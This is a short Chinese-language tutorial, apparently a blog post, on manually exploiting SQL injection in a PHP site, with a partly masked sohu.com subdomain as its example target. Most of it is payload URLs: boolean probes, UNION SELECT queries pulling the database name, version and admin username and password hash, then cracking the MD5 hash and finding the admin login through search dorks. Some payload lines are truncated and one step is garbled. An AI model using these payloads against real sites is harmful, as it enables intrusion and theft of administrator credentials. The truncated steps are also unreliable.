php手工检测注入方法
在猜解的时候.我们可以用工具也可以用手工.原理是一样的.为了方便我们可以使用工具.
1.找到一个php注入点:http://xxxxx.sohu.com/xxxx.php?brand_id=1
and 1=1 回显正常,and 1=2 回显与第一页不一样.说明有注入点。
2.进行猜解:http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
注:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* 这就是传说中的 Ascii逐字解码法
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
也就是说如果ID=1(admin管理)的username长度大于0,则条件成立。
接着就是,1、,2、,3这样测试下去,一直到条件成立为止,比如,7成立,,8不成立
就可以得库名、列名。我们在再and (sele....前加上admin 1=2
既:http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
这里我们猜到了数字3是数据库名,够造Url.见下.
http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
同样查询version()可以得到程序的版本.database(),version()是系统变量。
http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20admin
以上Url查出管理员所在的表数字.按回显数字是3.我们就把3改成name或usename。
http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,name,6,7,8,9,10,11,12,13,14,15,16,17%20from%20admin
回显出一个admin,还有一个数字7.我们就把7改成passwd或pass
http://xxxxx.sohu.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,name,6,passwd,8,9,10,11,12,13,14,15,16,17%20from%20admin
出来了.管理员密码mD5加密.我们可以登陆MD5解密网站进行破解.
破解密码后.我们就可以找目标后台了.通常是/admin,./admin/login.php。
如果找不到的话,我们可以使用google hack.够造查询关键词:管理&登陆&admin&login site:xxxxx.sohu.com
php手工检测注入方法:等您坐沙发呢!